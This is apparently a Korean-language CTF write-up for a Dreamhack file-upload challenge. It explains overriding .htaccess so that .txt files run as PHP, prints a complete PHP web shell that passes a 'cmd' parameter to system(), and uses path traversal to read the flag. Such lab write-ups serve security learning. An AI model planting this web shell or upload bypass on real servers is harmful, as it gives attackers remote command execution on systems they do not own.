먼저 .htaccess 파일에 AddType application/x-httpd-php .txt 이 내용을 추가해서 업로드를 한다.
그럼 설정이 바뀌었겠죠? 이제 .xxx 파일 업로드가 가능하다.
가지고 있던 웹 셸 코드를 .txt 확장자로 업로드를 해줍니다. 웹 셸 코드가 박스를 생성하기 때문에 거기에 ls를 쳐준다.
#webshell.txt
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
flag는 최상위 경로에 있기 때문에 ../../../../../../../flag 이러면 플래그가 출력된다.
'Dreamhack' 카테고리의 다른 글
[Dreamhack] crawling 문제 풀이 - Clelstyn256 (0) | 2023.10.23 |
---|---|
[Dreamhack] File Vulnerability Advanced for linux 문제 (0) | 2023.10.14 |
[Dreamhack] session-basic 문제 (1) | 2023.10.11 |
[Dreamhack]command-injection-chatgpt 문제 (1) | 2023.10.11 |
[Dreamhack] simple_sqli_chatgpt 문제 (0) | 2023.10.02 |